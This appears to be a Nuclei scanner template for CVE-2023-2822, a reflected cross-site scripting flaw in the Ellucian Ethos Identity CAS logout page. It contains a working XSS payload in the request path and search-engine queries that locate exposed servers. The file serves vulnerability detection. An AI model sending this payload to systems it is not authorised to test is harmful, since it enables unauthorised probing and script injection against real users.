51 lines
2.1 KiB
YAML
51 lines
2.1 KiB
YAML
id: CVE-2023-2822
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info:
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name: Ellucian Ethos Identity CAS - Cross-Site Scripting
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author: Guax1
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severity: medium
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description: |
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A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: Upgrading to version 5.10.6 is able to address this issue. It is recommended to upgrade the affected component.
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reference:
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- https://medium.com/@cyberninja717/685bb1675dfb
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- https://medium.com/@cyberninja717/reflected-cross-site-scripting-vulnerability-in-ellucian-ethos-identity-cas-logout-page-685bb1675dfb
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- https://vuldb.com/?ctiid.229596
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- https://vuldb.com/?id.229596
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- https://github.com/cberman/CVE-2023-2822-demo
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2023-2822
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cwe-id: CWE-79
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epss-score: 0.03167
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epss-percentile: 0.90173
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cpe: cpe:2.3:a:ellucian:ethos_identity:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: ellucian
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product: ethos_identity
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shodan-query: html:"Ellucian Company"
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google-query: "login with ellucian ethos identity"
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tags: cve2023,cve,cas,xss,ellucian
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http:
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- method: GET
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path:
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- '{{BaseURL}}/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)>'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<img src=x onerror=alert(document.domain)>'
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- 'Identity Server'
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022032320b6050dff9ab27355a70a59fc91e1a93cbcc3b7baf66112f6c7d2338fb980221009fecbd343a9c563dca53df1617986c480cc2132911bcf89cdfb687ecd9590ff6:922c64590222798bb761d5b6d8e72950 |